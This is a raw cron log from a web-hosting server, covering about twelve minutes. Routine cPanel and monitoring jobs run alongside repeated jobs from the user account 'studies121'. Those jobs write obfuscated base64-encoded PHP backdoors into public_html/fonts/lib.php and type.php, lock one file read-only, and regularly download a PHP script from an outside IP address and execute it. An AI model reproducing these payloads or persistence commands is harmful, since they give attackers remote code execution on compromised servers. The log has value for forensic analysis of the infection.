Aug 30 04:03:01 ip-184-168-122-23 CROND[8460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:04:01 ip-184-168-122-23 CROND[8564]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:04:01 ip-184-168-122-23 CROND[8566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:04:01 ip-184-168-122-23 CROND[8568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:04:01 ip-184-168-122-23 CROND[8567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:04:01 ip-184-168-122-23 CROND[8569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:05:01 ip-184-168-122-23 CROND[8676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:05:01 ip-184-168-122-23 CROND[8678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:05:01 ip-184-168-122-23 CROND[8679]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:05:01 ip-184-168-122-23 CROND[8680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:05:01 ip-184-168-122-23 CROND[8681]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:05:01 ip-184-168-122-23 CROND[8682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:05:01 ip-184-168-122-23 CROND[8683]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 04:06:01 ip-184-168-122-23 CROND[8788]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:06:01 ip-184-168-122-23 CROND[8790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:06:01 ip-184-168-122-23 CROND[8791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:06:01 ip-184-168-122-23 CROND[8793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:06:01 ip-184-168-122-23 CROND[8794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:07:01 ip-184-168-122-23 CROND[8966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:07:01 ip-184-168-122-23 CROND[8969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:07:01 ip-184-168-122-23 CROND[8970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:07:01 ip-184-168-122-23 CROND[8968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:08:01 ip-184-168-122-23 CROND[9047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:08:01 ip-184-168-122-23 CROND[9050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:08:01 ip-184-168-122-23 CROND[9049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:08:01 ip-184-168-122-23 CROND[9051]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:08:01 ip-184-168-122-23 CROND[9052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:09:01 ip-184-168-122-23 CROND[9151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:09:01 ip-184-168-122-23 CROND[9154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:09:01 ip-184-168-122-23 CROND[9155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:09:01 ip-184-168-122-23 CROND[9156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:09:01 ip-184-168-122-23 CROND[9153]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 04:10:01 ip-184-168-122-23 CROND[9284]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 04:10:01 ip-184-168-122-23 CROND[9287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:10:01 ip-184-168-122-23 CROND[9288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:10:01 ip-184-168-122-23 CROND[9290]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:10:01 ip-184-168-122-23 CROND[9291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:10:01 ip-184-168-122-23 CROND[9292]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:10:01 ip-184-168-122-23 CROND[9296]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:10:01 ip-184-168-122-23 CROND[9298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:11:02 ip-184-168-122-23 CROND[9386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:11:02 ip-184-168-122-23 CROND[9388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:11:02 ip-184-168-122-23 CROND[9389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:11:02 ip-184-168-122-23 CROND[9390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:12:01 ip-184-168-122-23 CROND[9471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:12:01 ip-184-168-122-23 CROND[9474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:12:01 ip-184-168-122-23 CROND[9473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:12:01 ip-184-168-122-23 CROND[9475]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:12:01 ip-184-168-122-23 CROND[9476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:13:01 ip-184-168-122-23 CROND[9557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:13:01 ip-184-168-122-23 CROND[9559]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:13:01 ip-184-168-122-23 CROND[9558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:13:01 ip-184-168-122-23 CROND[9561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:14:01 ip-184-168-122-23 CROND[9732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:14:01 ip-184-168-122-23 CROND[9734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:14:01 ip-184-168-122-23 CROND[9735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:14:01 ip-184-168-122-23 CROND[9736]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:14:01 ip-184-168-122-23 CROND[9737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:15:01 ip-184-168-122-23 CROND[9839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:15:01 ip-184-168-122-23 CROND[9841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:15:01 ip-184-168-122-23 CROND[9844]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:15:01 ip-184-168-122-23 CROND[9845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
